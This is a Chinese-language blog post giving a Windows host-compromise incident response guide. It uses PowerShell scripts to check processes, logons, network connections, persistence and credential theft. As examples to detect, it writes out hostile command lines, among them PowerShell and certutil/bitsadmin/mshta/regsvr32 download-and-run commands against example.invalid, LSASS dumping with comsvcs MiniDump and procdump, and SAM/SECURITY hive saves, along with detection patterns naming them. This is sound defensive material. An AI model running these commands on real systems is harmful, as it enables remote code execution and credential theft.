Windows 主机失陷很少只表现为“中毒”。

它可能是一条可疑 PowerShell 命令、一段陌生 RDP 登录、一个新建管理员账号、一次 LSASS 读取、一个隐藏计划任务,或者某个看似正常的系统进程正在连接陌生公网地址。

很多人在排查 Windows 安全事件时,会先问:

这个文件是不是木马?

但更关键的问题其实是:

这台主机现在还能不能被信任?

要回答这个问题,不能只看某个进程、某个账号或某条告警,而要重新拼出一条证据链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
谁登录过

谁执行了命令

谁连接了外部地址

谁获得了权限

谁建立了持久化

是否读取过凭据

是否已经横向到其他主机

系统还能不能继续使用

一、先判断事件处于哪种状态

排查之前,先不要急着删文件、结束进程或重启机器。Windows 应急响应初期,最重要的是判断当前风险是否仍在扩大。

可以先把现场分成三种状态。

1. 可疑但暂未扩散

例如:

  • 某个进程命令行异常;
  • 某个目录下出现陌生文件;
  • 安全产品提示单点告警;
  • 暂未发现外联、横向或凭据窃取。

这种情况适合先做证据保全,再逐步确认。

2. 攻击者可能仍在线

例如:

1
2
quser
Get-NetTCPConnection -State Established

发现陌生 RDP 会话、异常远程连接,或者 PowerShell、cmd、wscript、mshta 等进程仍在和公网地址通信。

这种情况下,不建议立即踢掉会话。更稳妥的方式是先记录当前会话、网络连接、进程树和关键日志,再执行隔离或阻断动作。

3. 已经涉及高风险资产或凭据

例如:

  • 主机是域控、证书服务器、跳板机、堡垒机、运维终端或关键业务服务器;
  • 发现 LSASS 被读取;
  • 发现 Mimikatz、ProcDump、comsvcs.dll MiniDump 等凭据导出痕迹;
  • 发现 RDP / SMB / WMI 横向登录;
  • 多台主机同时出现相似告警;
  • 文件正在被加密。

这类事件不能按“单机清理”处理,应尽快升级到安全、运维、身份管理和业务负责人协同响应。


二、先保存现场快照,而不是边查边破坏证据

Windows 排查很依赖事件日志、进程命令行、注册表、计划任务和文件时间线。越早保存,越有利于后续还原攻击过程。

下面是一份轻量快照脚本,可用于收集基础证据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
$stamp = Get-Date -Format "yyyyMMdd-HHmmss"
$out = "C:\win_case_$env:COMPUTERNAME`_$stamp"

New-Item -ItemType Directory -Path $out -Force | Out-Null

# 进程、命令行、父进程
Get-CimInstance Win32_Process |
Select-Object ProcessId,ParentProcessId,Name,ExecutablePath,CommandLine |
Export-Csv "$out\processes.csv" -NoTypeInformation -Encoding UTF8

# 进程签名
Get-Process | Where-Object {$_.Path} | ForEach-Object {
$sig = Get-AuthenticodeSignature $_.Path -ErrorAction SilentlyContinue
[PSCustomObject]@{
PID = $_.Id
Name = $_.Name
Path = $_.Path
SigStatus = $sig.Status
Signer = $sig.SignerCertificate.Subject
}
} | Export-Csv "$out\process_signatures.csv" -NoTypeInformation -Encoding UTF8

# 当前网络连接
Get-NetTCPConnection -State Established |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,
@{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}},
@{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} |
Export-Csv "$out\network_established.csv" -NoTypeInformation -Encoding UTF8

# 服务
Get-CimInstance Win32_Service |
Select-Object Name,DisplayName,State,StartMode,PathName,StartName |
Export-Csv "$out\services.csv" -NoTypeInformation -Encoding UTF8

# 计划任务
Get-ScheduledTask | ForEach-Object {
$action = ($_.Actions | ForEach-Object {$_.Execute + " " + $_.Arguments}) -join " | "
[PSCustomObject]@{
TaskName = $_.TaskName
TaskPath = $_.TaskPath
State = $_.State
Actions = $action
}
} | Export-Csv "$out\scheduled_tasks.csv" -NoTypeInformation -Encoding UTF8

# 本地用户和管理员组
Get-LocalUser | Export-Csv "$out\local_users.csv" -NoTypeInformation -Encoding UTF8
net localgroup administrators > "$out\local_administrators.txt"

# 当前会话
quser > "$out\sessions.txt" 2>$null

# 近期可执行文件变化
$start = (Get-Date).AddDays(-7)
$watchPaths = @(
"C:\Users\Public",
"C:\ProgramData",
"C:\Windows\Temp",
"C:\Temp",
"C:\PerfLogs"
)

foreach ($p in $watchPaths) {
if (Test-Path $p) {
Get-ChildItem $p -Recurse -ErrorAction SilentlyContinue |
Where-Object {
$_.LastWriteTime -gt $start -and
$_.Extension -match '\.(exe|dll|ps1|bat|cmd|vbs|hta|scr|cpl)$'
} |
Select-Object FullName,LastWriteTime,Length |
Export-Csv "$out\recent_exec_files.csv" -NoTypeInformation -Encoding UTF8 -Append
}
}

# 导出关键事件日志
wevtutil epl Security "$out\Security.evtx"
wevtutil epl System "$out\System.evtx"
wevtutil epl Application "$out\Application.evtx"
wevtutil epl "Microsoft-Windows-PowerShell/Operational" "$out\PowerShell.evtx" 2>$null
wevtutil epl "Microsoft-Windows-Sysmon/Operational" "$out\Sysmon.evtx" 2>$null

Compress-Archive -Path $out -DestinationPath "$out.zip" -Force
Get-FileHash "$out.zip" -Algorithm SHA256

这份快照的作用不是自动判定结论,而是给后续分析保留一个相对完整的起点。


三、第一条线:谁在执行命令

Windows 入侵排查的第一条线,是进程。

重点不是“进程叫什么名字”,而是:

  • 进程路径是否合理;
  • 签名是否可信;
  • 命令行是否异常;
  • 父进程是谁;
  • 是否连接网络;
  • 是否与登录事件时间线吻合。

1. 查看进程路径、签名和命令行

1
2
3
4
5
6
7
8
9
10
$pidToCheck = 1234

$p = Get-Process -Id $pidToCheck -ErrorAction SilentlyContinue

$p | Select-Object Id,Name,Path

Get-AuthenticodeSignature $p.Path |
Select-Object Status,SignerCertificate

(Get-CimInstance Win32_Process -Filter "ProcessId=$pidToCheck").CommandLine

正常系统进程通常位于固定位置,例如:

1
2
3
4
C:\Windows\System32\svchost.exe
C:\Windows\System32\lsass.exe
C:\Windows\System32\services.exe
C:\Windows\explorer.exe

如果看到:

1
2
3
C:\Users\Public\svchost.exe
C:\ProgramData\lsasss.exe
C:\Windows\Temp\scvhost.exe

即使命名很像系统进程,也应高度怀疑。

常见仿冒方式包括:

1
2
3
4
svch0st.exe     # 用数字 0 代替字母 o
scvhost.exe # 字母顺序调换
lsasss.exe # 多一个 s
expl0rer.exe # 用数字 0 替换 o

签名也很重要。尤其需要关注:

签名状态 排查含义
Valid 签名有效,但仍需结合路径和行为
NotSigned 未签名,业务自研程序可能正常,但系统目录下异常
HashMismatch 文件签名与内容不匹配,高风险
NotTrusted 签名链不可信,需要进一步确认

如果系统目录下的核心程序出现签名异常,应优先考虑二进制被替换、进程篡改或更深层失陷。


2. PowerShell 命令行是重点

Windows 入侵中,PowerShell 经常被用于下载、解码、内存执行和横向移动。

可以在 processes.csv 中搜索:

1
2
3
4
5
6
7
8
9
-enc
EncodedCommand
-nop
-windowstyle hidden
IEX
Invoke-Expression
DownloadString
DownloadFile
FromBase64String

也可以直接查当前进程:

1
2
3
4
5
Get-CimInstance Win32_Process |
Where-Object {
$_.CommandLine -match 'powershell|pwsh|EncodedCommand|-enc|IEX|DownloadString|DownloadFile'
} |
Select-Object ProcessId,ParentProcessId,Name,CommandLine

可疑命令通常类似:

1
powershell.exe -nop -w hidden -enc <base64>

或者:

1
powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://example.invalid/a.ps1')"

如果需要解码 -enc 内容:

1
2
3
4
$encoded = "<base64_string_here>"
[System.Text.Encoding]::Unicode.GetString(
[System.Convert]::FromBase64String($encoded)
)

解码后如果出现远程下载、内存加载、反射加载、凭据工具或横向模块,就不能只按普通恶意文件处置。


3. 关注被滥用的系统工具

攻击者不一定投放明显恶意文件,也可能滥用系统自带工具完成下载和执行。

可以搜索:

1
2
3
4
5
Get-CimInstance Win32_Process |
Where-Object {
$_.CommandLine -match 'certutil|bitsadmin|mshta|regsvr32|rundll32|wmic|schtasks'
} |
Select-Object ProcessId,ParentProcessId,Name,CommandLine

常见高风险模式包括:

1
2
3
4
5
6
7
8
9
certutil.exe -urlcache -split -f http://example.invalid/a.exe C:\Users\Public\a.exe

bitsadmin /transfer job http://example.invalid/a.exe C:\Users\Public\a.exe

mshta.exe http://example.invalid/a.hta

regsvr32.exe /s /n /u /i:http://example.invalid/a.sct scrobj.dll

rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <pid> C:\Users\Public\lsass.dmp full

这些工具本身是合法的,但出现在下载、远程脚本执行、LSASS 转储等场景中,就具有很高调查价值。


四、第二条线:是谁启动了它

进程的父子关系经常能直接指向攻击入口。

下面是一个简单的进程树追踪函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function Show-ProcessLineage {
param([int]$Pid)

$current = $Pid

while ($current -and $current -ne 0) {
$p = Get-CimInstance Win32_Process -Filter "ProcessId=$current" -ErrorAction SilentlyContinue
if (!$p) { break }

[PSCustomObject]@{
PID = $p.ProcessId
Parent = $p.ParentProcessId
Name = $p.Name
Path = $p.ExecutablePath
Command = $p.CommandLine
}

$current = $p.ParentProcessId
}
}

Show-ProcessLineage -Pid 1234

一些父子关系非常值得关注:

父进程 子进程 可能含义
WINWORD / EXCEL / POWERPNT powershell / cmd / mshta / wscript 钓鱼文档或宏执行
OUTLOOK powershell / cmd / rundll32 邮件附件或链接触发
w3wp.exe cmd / powershell IIS Webshell 或 RCE
sqlservr.exe cmd / powershell 数据库执行系统命令
wmiprvse.exe cmd / powershell WMI 远程执行
services.exe 异常路径程序 服务持久化
taskeng / svchost 异常脚本或程序 计划任务触发

例如:

1
2
3
4
5
powershell.exe

WINWORD.EXE

explorer.exe

这类链路通常比单独看到 powershell.exe 更有价值,因为它说明 PowerShell 不是管理员手动打开的,而可能是文档触发的。

再比如:

1
2
3
cmd.exe

w3wp.exe

这通常意味着 Web 服务进程执行了系统命令,应进一步检查 Web 日志、上传目录和 IIS 配置。


五、第三条线:谁登录过这台机器

Windows 事件日志能回答很多关键问题。

尤其是 Security 日志中的以下事件:

事件 ID 含义 排查重点
4624 登录成功 登录类型、账号、来源 IP
4625 登录失败 暴破、密码喷洒
4648 显式凭据登录 横向移动、凭据传递
4672 特权登录 管理员权限使用
4688 进程创建 命令行审计,需启用
4697 服务安装 服务持久化
4698 计划任务创建 定时持久化
4720 创建用户 后门账号
4732 加入本地组 加入 Administrators

1. 统计 RDP 登录来源

LogonType 为 10 通常表示远程交互登录,也就是常见的 RDP 场景。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$start = (Get-Date).AddDays(-7)

Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4624
StartTime=$start
} -MaxEvents 10000 -ErrorAction SilentlyContinue |
ForEach-Object {
$xml = [xml]$_.ToXml()
$data = @{}
foreach ($d in $xml.Event.EventData.Data) {
$data[$d.Name] = $d.'#text'
}

[PSCustomObject]@{
Time = $_.TimeCreated
Account = $data['TargetUserName']
Domain = $data['TargetDomainName']
LogonType = $data['LogonType']
SourceIP = $data['IpAddress']
Workstation = $data['WorkstationName']
}
} |
Where-Object {$_.LogonType -eq '10'} |
Group-Object SourceIP |
Sort-Object Count -Descending

如果正常环境只允许堡垒机或 VPN 访问 RDP,那么出现陌生公网 IP 或非授权内网 IP,就值得重点调查。


2. 统计失败登录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4625
StartTime=$start
} -MaxEvents 10000 -ErrorAction SilentlyContinue |
ForEach-Object {
$xml = [xml]$_.ToXml()
$data = @{}
foreach ($d in $xml.Event.EventData.Data) {
$data[$d.Name] = $d.'#text'
}

[PSCustomObject]@{
Time = $_.TimeCreated
Account = $data['TargetUserName']
SourceIP = $data['IpAddress']
Status = $data['Status']
}
} |
Group-Object SourceIP |
Sort-Object Count -Descending |
Select-Object -First 10

一个源 IP 在短时间内尝试大量账号,可能是暴破或密码喷洒。

但也要避免误判:某些业务系统配置了错误密码,也可能持续产生失败登录。需要结合账号、来源、时间窗口和是否随后出现成功登录判断。


3. 查显式凭据登录和横向迹象

事件 4648 经常用于发现“使用其他凭据访问远端系统”的行为。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Get-WinEvent -FilterHashtable @{
LogName='Security'
Id=4648
StartTime=$start
} -MaxEvents 5000 -ErrorAction SilentlyContinue |
ForEach-Object {
$xml = [xml]$_.ToXml()
$data = @{}
foreach ($d in $xml.Event.EventData.Data) {
$data[$d.Name] = $d.'#text'
}

[PSCustomObject]@{
Time = $_.TimeCreated
SubjectUser = $data['SubjectUserName']
TargetUser = $data['TargetUserName']
TargetServer = $data['TargetServerName']
ProcessName = $data['ProcessName']
}
}

如果一台普通终端突然使用高权限账号访问域控、数据库服务器或多台内网主机,就应视为横向移动线索。


六、第四条线:谁在对外通信

当前网络连接可以帮助判断攻击是否仍在进行。

1
2
3
4
5
Get-NetTCPConnection -State Established |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,
@{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}},
@{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} |
Sort-Object RemoteAddress

排查时重点不是“远端端口是不是 443”,而是:

  • 进程是否应该访问外网;
  • 远端地址是否为已知业务依赖;
  • 进程路径是否可信;
  • 是否是长连接;
  • 是否存在固定周期心跳;
  • 是否由 PowerShell、cmd、wscript、mshta、rundll32 等进程发起。

例如:

1
2
3
powershell.exe → 203.0.113.50:443
C:\Users\Public\svchost.exe → 198.51.100.20:4444
mshta.exe → example.invalid:80

这些都比普通浏览器访问外网更值得关注。

查看监听端口:

1
2
3
4
5
Get-NetTCPConnection -State Listen |
Select-Object LocalAddress,LocalPort,OwningProcess,
@{n='ProcessName';e={(Get-Process -Id $_.OwningProcess -EA 0).Name}},
@{n='ProcessPath';e={(Get-Process -Id $_.OwningProcess -EA 0).Path}} |
Sort-Object LocalPort

异常监听可能意味着后门服务、代理、隧道或远控组件。


七、第五条线:它如何留下来

持久化不是一张机械检查表,本质上是在回答:

如果当前恶意进程被终止,攻击者靠什么重新回来?

Windows 常见持久化大致可以分为五类。


1. 开机或登录自启动

检查 Run / RunOnce:

1
2
3
4
5
6
7
8
9
10
11
12
13
$runKeys = @(
"HKLM:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\Microsoft\Windows\CurrentVersion\RunOnce",
"HKCU:\Software\Microsoft\Windows\CurrentVersion\Run",
"HKLM:\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run"
)

foreach ($key in $runKeys) {
if (Test-Path $key) {
"===== $key ====="
Get-ItemProperty $key
}
}

重点关注:

1
2
3
4
5
6
7
8
C:\Users\Public\
C:\ProgramData\
C:\Windows\Temp\
%APPDATA%
powershell -enc
wscript
mshta
rundll32

检查启动文件夹:

1
2
Get-ChildItem "C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp" -ErrorAction SilentlyContinue
Get-ChildItem "$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup" -ErrorAction SilentlyContinue

如果这里出现 .vbs.bat.ps1.exe.lnk,需要进一步查看内容和创建时间。


2. 计划任务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Get-ScheduledTask | ForEach-Object {
$actions = ($_.Actions | ForEach-Object {
$_.Execute + " " + $_.Arguments
}) -join " | "

[PSCustomObject]@{
Name = $_.TaskName
Path = $_.TaskPath
State = $_.State
Actions = $actions
}
} |
Where-Object {
$_.Actions -match 'powershell|cmd|mshta|wscript|cscript|bitsadmin|certutil|regsvr32|Users\\Public|ProgramData|Temp'
}

有些任务会伪装在 Microsoft 子目录中,因此还可以直接检查任务 XML:

1
2
3
4
5
6
7
8
9
10
Get-ChildItem C:\Windows\System32\Tasks -Recurse -File -ErrorAction SilentlyContinue |
ForEach-Object {
$content = Get-Content $_.FullName -Raw -ErrorAction SilentlyContinue
if ($content -match 'powershell|cmd|mshta|wscript|bitsadmin|certutil|regsvr32|Users\\Public|ProgramData|Temp') {
[PSCustomObject]@{
File = $_.FullName
Match = ($content -split "`n" | Where-Object {$_ -match 'Execute|Arguments'} | Select-Object -First 5) -join ' '
}
}
}

3. 服务持久化

1
2
3
4
5
Get-CimInstance Win32_Service |
Where-Object {
$_.PathName -match 'Users\\Public|ProgramData|Temp|AppData|PerfLogs'
} |
Select-Object Name,DisplayName,State,StartMode,StartName,PathName

服务以 LocalSystem 运行且路径异常时,要特别谨慎。

同时检查最近安装服务事件:

1
2
3
4
5
6
Get-WinEvent -FilterHashtable @{
LogName='System'
Id=7045
StartTime=$start
} -ErrorAction SilentlyContinue |
Select-Object TimeCreated,Message

事件 7045 表示系统中安装了新服务,是调查持久化和横向工具的重要线索。


4. 注册表和登录链路劫持

Winlogon 是高价值位置。

1
2
Get-ItemProperty "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon" |
Select-Object Userinit,Shell,Taskman

通常应接近:

1
2
Userinit : C:\Windows\system32\userinit.exe,
Shell : explorer.exe

如果出现:

1
2
Userinit : C:\Windows\system32\userinit.exe,C:\Users\Public\update.exe
Shell : explorer.exe,C:\ProgramData\a.exe

说明登录流程中被追加了额外程序。

检查 IFEO Debugger 劫持:

1
2
3
4
Get-ChildItem "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options" |
Get-ItemProperty |
Where-Object {$_.Debugger} |
Select-Object PSChildName,Debugger

如果看到:

1
2
3
sethc.exe → cmd.exe
utilman.exe → cmd.exe
notepad.exe → C:\Users\Public\a.exe

需要按后门处理。


5. WMI、BITS 和 COM 等隐蔽持久化

WMI 事件订阅:

1
2
3
4
5
6
7
8
9
10
11
Get-CimInstance -Namespace root\subscription -ClassName __EventFilter |
Select-Object Name,Query

Get-CimInstance -Namespace root\subscription -ClassName CommandLineEventConsumer |
Select-Object Name,CommandLineTemplate

Get-CimInstance -Namespace root\subscription -ClassName ActiveScriptEventConsumer |
Select-Object Name,ScriptText

Get-CimInstance -Namespace root\subscription -ClassName __FilterToConsumerBinding |
Select-Object Filter,Consumer

如果 Consumer 中出现 PowerShell encoded command、下载执行或异常路径,应高度怀疑。

BITS 任务:

1
bitsadmin /list /allusers /verbose

或者:

1
Get-BitsTransfer -AllUsers -ErrorAction SilentlyContinue

如果发现陌生后台下载任务,将远程文件落到 C:\Users\PublicC:\ProgramData 或临时目录,也应纳入持久化调查。

COM 劫持可以先从用户级 CLSID 开始粗查:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
Get-ChildItem "HKCU:\Software\Classes\CLSID" -ErrorAction SilentlyContinue |
ForEach-Object {
$clsid = $_.PSChildName
$path = "HKCU:\Software\Classes\CLSID\$clsid\InProcServer32"

if (Test-Path $path) {
$value = (Get-ItemProperty $path -ErrorAction SilentlyContinue).'(default)'
if ($value -match 'AppData|Temp|Users\\Public|ProgramData') {
[PSCustomObject]@{
CLSID = $clsid
DLL = $value
}
}
}
}

八、凭据是否已经失守,是 Windows 事件的分水岭

Windows 主机排查中,最需要升级处理的是凭据窃取。

尤其要关注 LSASS。

如果部署了 Sysmon,可以检查 ID 10:

1
2
3
4
5
6
7
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
Id=10
StartTime=$start
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match 'TargetImage:.*lsass.exe'} |
Select-Object -First 20 TimeCreated,Message

高风险信号包括:

1
2
3
SourceImage: C:\Users\...\mimikatz.exe
TargetImage: C:\Windows\System32\lsass.exe
GrantedAccess: 0x1410

也可能是更隐蔽的方式:

1
2
3
4
procdump.exe -ma lsass.exe C:\Users\Public\lsass.dmp
rundll32.exe C:\Windows\System32\comsvcs.dll, MiniDump <pid> C:\Users\Public\out.dmp full
reg save HKLM\SAM C:\Users\Public\sam.hiv
reg save HKLM\SECURITY C:\Users\Public\security.hiv

可以进一步查大体积 dump 文件:

1
2
3
4
5
6
7
Get-ChildItem C:\ -Recurse -ErrorAction SilentlyContinue |
Where-Object {
$_.LastWriteTime -gt (Get-Date).AddDays(-7) -and
($_.Name -match 'lsass|dump|debug|\.dmp$') -and
$_.Length -gt 50MB
} |
Select-Object FullName,LastWriteTime,Length

如果确认 LSASS、SAM、SECURITY 或域凭据被读取,后续不应只停留在“清掉恶意文件”。

更合理的判断是:

  • 该主机上出现过的本地账号需要重置;
  • 曾登录过该主机的域账号需要评估和轮换;
  • 特权账号应按高风险处理;
  • 需要排查这些凭据是否已被用于访问其他主机;
  • 主机本身通常不宜简单清理后继续信任。

九、利用 Sysmon 建立时间线

如果主机部署了 Sysmon,调查效率会明显提升。

几个高价值事件:

Sysmon ID 含义
1 进程创建
3 网络连接
7 镜像加载
8 CreateRemoteThread
10 进程访问,常用于 LSASS 读取
11 文件创建
13 注册表值修改
22 DNS 查询
25 进程篡改

查可疑进程创建:

1
2
3
4
5
6
7
8
9
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
Id=1
StartTime=$start
} -MaxEvents 5000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -match 'powershell.*-enc|DownloadString|certutil.*urlcache|bitsadmin.*transfer|mshta http|regsvr32.*scrobj|rundll32.*comsvcs'
} |
Select-Object -First 20 TimeCreated,Message

查可疑网络连接:

1
2
3
4
5
6
7
8
9
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
Id=3
StartTime=$start
} -MaxEvents 5000 -ErrorAction SilentlyContinue |
Where-Object {
$_.Message -match 'powershell.exe|mshta.exe|wscript.exe|rundll32.exe|Users\\Public|ProgramData|Temp'
} |
Select-Object -First 20 TimeCreated,Message

Sysmon 的价值不是单条告警,而是能把:

1
2
3
4
5
6
父进程
命令行
文件落地
网络连接
注册表修改
凭据读取

串成一条时间线。


十、一个典型场景:从一条 PowerShell 命令还原攻击链

假设你在进程快照里看到:

1
powershell.exe -nop -w hidden -enc <base64>

先解码:

1
2
3
4
$encoded = "<base64>"
[System.Text.Encoding]::Unicode.GetString(
[System.Convert]::FromBase64String($encoded)
)

解码结果类似:

1
2
3
4
5
(New-Object Net.WebClient).DownloadFile(
'http://example.invalid/update.exe',
'C:\Users\Public\update.exe'
)
Start-Process 'C:\Users\Public\update.exe'

接下来不要只删除 update.exe

应该继续追问:

1. 谁启动了 PowerShell

1
Show-ProcessLineage -Pid <powershell_pid>

如果父进程是 WINWORD.EXE,应调查钓鱼文档。

如果父进程是 w3wp.exe,应调查 IIS 和 Web 应用。

如果父进程是 wmiprvse.exe,应调查 WMI 横向执行来源。

2. 下载的文件是否运行

1
2
3
4
Get-Process | Where-Object {$_.Path -match 'C:\\Users\\Public\\update.exe'}

Get-FileHash C:\Users\Public\update.exe -Algorithm SHA256
Get-AuthenticodeSignature C:\Users\Public\update.exe

3. 是否对外通信

1
2
3
4
Get-NetTCPConnection -State Established |
Where-Object {
$_.OwningProcess -eq <update_pid>
}

4. 是否建立持久化

1
2
3
4
5
6
7
8
9
10
Get-ScheduledTask | ForEach-Object {
$a = ($_.Actions | ForEach-Object {$_.Execute + " " + $_.Arguments}) -join " | "
[PSCustomObject]@{Name=$_.TaskName; Path=$_.TaskPath; Actions=$a}
} | Where-Object {$_.Actions -match 'update.exe|Users\\Public|powershell'}

Get-CimInstance Win32_Service |
Where-Object {$_.PathName -match 'update.exe|Users\\Public|ProgramData'}

Get-ItemProperty "HKLM:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue
Get-ItemProperty "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run" -ErrorAction SilentlyContinue

5. 是否读取过凭据

1
2
3
4
5
6
Get-WinEvent -FilterHashtable @{
LogName='Microsoft-Windows-Sysmon/Operational'
Id=10
StartTime=$start
} -ErrorAction SilentlyContinue |
Where-Object {$_.Message -match 'lsass.exe'}

到这里,一条简单的 PowerShell 命令就不再只是“可疑命令”,而成为完整攻击链的一部分。


十一、什么时候清理,什么时候重建

Windows 主机处置不能只看“恶意文件是否删掉”。

更重要的是判断系统可信度。

发现情况 建议处理
单一恶意文件,未提权,未持久化,未外联 清理、修复入口、强化监控
存在计划任务、服务、Run 键等持久化 清理后逐项复核,谨慎恢复
发现 RDP 暴破成功或管理员账号滥用 改密、限制入口、排查横向
发现 LSASS / SAM / SECURITY 被读取 视为凭据泄露,升级处理
发现 WMI / COM / IFEO / LSA 持久化 高风险,需深度取证
发现驱动、Rootkit 或系统组件被替换 不建议继续信任原系统
主机是域控、跳板机、证书服务器等关键系统 按关键基础设施事件处理

重装可以恢复单机系统状态,但不能自动解决:

  • 初始入口;
  • 凭据泄露;
  • 域内横向;
  • 其他同类主机;
  • 业务系统中的漏洞;
  • 攻击者已经取得的 Token、密钥或会话。

因此,恢复动作必须和入口修复、凭据轮换、横向排查、监控规则一起完成。


十二、排查结束时应该产出什么

一次 Windows 主机失陷调查,不应该只产出:

已删除恶意程序。

更完整的结论至少包括:

1. 是否确认失陷

例如:

1
已确认失陷 / 高度疑似 / 暂无证据 / 已排除

2. 最早异常时间

例如:

1
2
3
4
最早可疑登录时间
最早可疑进程创建时间
最早恶意文件落地时间
最早对外连接时间

3. 攻击入口

可能包括:

1
2
3
4
5
6
7
RDP 暴破
钓鱼附件
Web 漏洞
SMB / WMI 横向
凭据泄露
未授权服务
未知入口

4. 攻击者获得的权限

例如:

1
2
3
4
5
普通用户
本地管理员
域账号
域管理员
服务账号

5. 驻留方式

例如:

1
2
3
4
5
6
7
8
Run 键
计划任务
服务
WMI 事件订阅
IFEO Debugger
COM 劫持
启动文件夹
BITS Job

6. 凭据风险

需要确认:

1
2
3
4
5
是否访问 LSASS
是否导出 SAM / SECURITY
是否出现 Mimikatz / ProcDump / comsvcs MiniDump
哪些账号曾登录过该主机
这些账号是否已被用于访问其他系统

7. 是否存在横向移动

重点看:

1
2
3
4
5
6
4624 LogonType=3
4624 LogonType=10
4648 显式凭据
4672 特权登录
7045 服务安装
Sysmon 远程执行链路

8. 当前系统是否仍可信

最终要给出明确建议:

1
2
3
4
5
可清理后恢复
需重建系统
需凭据轮换
需扩大到域内排查
需进入重大事件响应

结语

Windows 入侵排查最容易犯的错误,是把注意力集中在某个恶意文件上。

但在真实事件中,文件只是结果,不是全部。

一次有效的 Windows 应急响应,应当围绕这几个问题展开:

1
2
3
4
5
6
7
8
谁登录了
谁执行了
谁通信了
谁提权了
谁读取了凭据
谁留下了持久化
谁访问了其他主机
这台机器还能不能被继续信任

© Rabbit 使用 Stellar 创建

✨ 营业:

共发表 56 篇Blog 🔸 总计 123.6k